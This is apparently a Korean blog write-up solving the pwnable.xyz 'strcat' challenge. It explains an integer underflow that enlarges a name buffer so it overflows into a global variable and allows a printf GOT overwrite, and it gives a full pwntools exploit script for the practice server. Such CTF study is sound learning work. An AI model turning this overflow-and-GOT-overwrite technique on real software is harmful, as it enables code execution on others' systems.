상세 컨텐츠

본문 제목

[pwnable.xyz] strcat

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 2. 27. 13:26

본문

728x90
반응형

# procss

 

 

FSB 취약점처럼 보이는데 name과 desc가 전역변수라 FSB 취약점이 일어나지 않는다.

하지만 printf@got를 win 함수 주소로 덮으면 된다.

 

 

1번 메뉴에서 maxlen = maxlen - readline(v4, v7) 을 하는데, readline() 함수의 반환값이 음수이면 maxlen 값을 증가시킬 수 있다.

 

 

readline() 함수를 보면 v2-1 값을 리턴하는데 v2 변수는 strlen(name)의 결과, 즉 name의 길이이다.

따라서 길이는 음수가 될 수 없고, 가장 작게 줄 수 있는 경우는 길이가 0일 때이다.

다행히 리턴값이 v2-1로 v2 = 0이면 -1로 만들 수 있어서 maxlen 값을 1씩 증가시킬 수 있다.

 

따라서 name에는 항상 길이가 0이 되도록 입력해서 maxlen 변수 길이를 늘린다.

 

 

name과 desc 변수 모두 전역변수로, name 변수의 크기를 증가시키면 name 입력 시 desc 변수 값도 덮을 수 있다.

name에 입력 시 desc 전까지는 더미를 주고, desc 위치에 printf@got를 넣어놓은 후,

desc에 입력 시 win 함수 주소를 준다면 printf@got에 win 함수 주소가 적힌다.

 

 

위와 같은 offset을 가진다.

 

따라서 name에 넣을 payload는

'A'*0x80 + p64(printf@got) 로 총 0x88 바이트, 128인 초기 maxlen에서 8 정도만 maxlen을 증가시키면 된다.

 

1) 1번 메뉴

- maxlen 값 증가시킨다.

 

2) 1번 메뉴

- name에 payload = 'A'*0x80 + p64(print@got) 를 넣는다.

- 이때 그냥 p64(printf@got)로 주면 앞의 "\x60"이 잘려서 "\x40\x20\x60\x12"로 printf@got를 준다.

- desc에 printf@got가 적히는 것 확인 가능하다.

 

 

3) 2번 메뉴

- desc에 win 주소 입력한다.

- printf@got가 win 주소로 덮히는 것 확인할 수 있다.

 


# exploit code

 

#!/usr/bin/python                                                                                                                                                                       
from pwn import *

#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30013)
#gdb.attach(p)
elf = ELF("./challenge")
win = elf.symbols['win']
printf_got = elf.got['printf']

p.sendafter("Name: ", "A")
p.sendafter("Desc: ", "B")

pay = 'A'*0x80 + "\x40\x20\x60\x12"
length = len(pay)

for i in range(length-128):
    p.sendafter("> ", "1")
    p.sendafter("Name: ", "\x00")

#gdb.attach(p)
p.sendafter("> ", "1")
p.sendafter("Name: ", pay)

p.sendafter("> ", "2")
p.sendafter("Desc: ", p64(win))

p.interactive()

 

# exploit

 


728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] executioner  (0) 2020.02.28
[pwnable.xyz] J-U-M-P  (0) 2020.02.28
[pwnable.xyz] fclose (fSOP)  (1) 2020.02.10
[pwnable.xyz] SUS  (0) 2020.02.05
[pwnable.xyz] game  (0) 2020.01.22

관련글 더보기